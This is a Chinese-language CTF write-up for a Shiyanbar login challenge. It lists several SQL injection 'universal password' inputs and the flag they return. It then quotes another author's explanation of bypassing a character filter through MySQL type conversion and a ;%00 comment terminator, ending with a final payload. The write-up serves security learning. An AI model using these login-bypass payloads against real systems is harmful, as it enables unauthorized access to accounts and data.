实验吧登陆一下好吗??WP

登陆一下好吗??(http://www.shiyanbar.com/ctf/1942)
username= 1’=’0
password= 1’=’0
或者
username=what’=’
password=what’=’
或者
username:admin’=’
password:admin’=’
得到ctf{51d1bf8fb65a8c2406513ee8f52283e7}
好吧,其实我提供的只是万能密码尝试而已,真正的writeup在这里(by wonderkun,侵删):

根据题目的提示,获知该题目的目的使用sql注入来绕过登陆。

猜测后台的sql应该是

select * from table where username= ‘ usernameandpassword= password’

进过测试,发现过滤了以下字符

| , – , or , union , # , select ,* ,/

这写字符没办法绕过。

但是为了登陆成功,需要让 sql语句返回true。

除了pact想到的同双等号绕外,还有一种方法,主要用到以下两个技巧:

第一: mysql的数据类型转换特性。
实验吧登陆一下好吗??WP_第1张图片
通过这个图,应该可以看明白啦, user是一个字符串类型的,当他接受到一个整型值切值为0的时候,就会返回数据库的所有条目。 一个字符串加一个整形,会自动的变量类型转换,变为一个整型。

所以,只需要让sql执行

select * from table where username=’a’+0;

就可以返回一个ture了,但是你会发现注释符全部过滤啦,后面的部分去不掉,这时候你需要知道下面的姿势。

第二: mysql的注释符除了

– + , # ,/**/ 之外,还有一个 ;%00 ,很多人都不知道最后一个。

所以最后的payload 是这样的: username=a’+0;%00&password=
实验吧登陆一下好吗??WP_第2张图片

你可能感兴趣的:(实验吧登陆一下好吗??WP)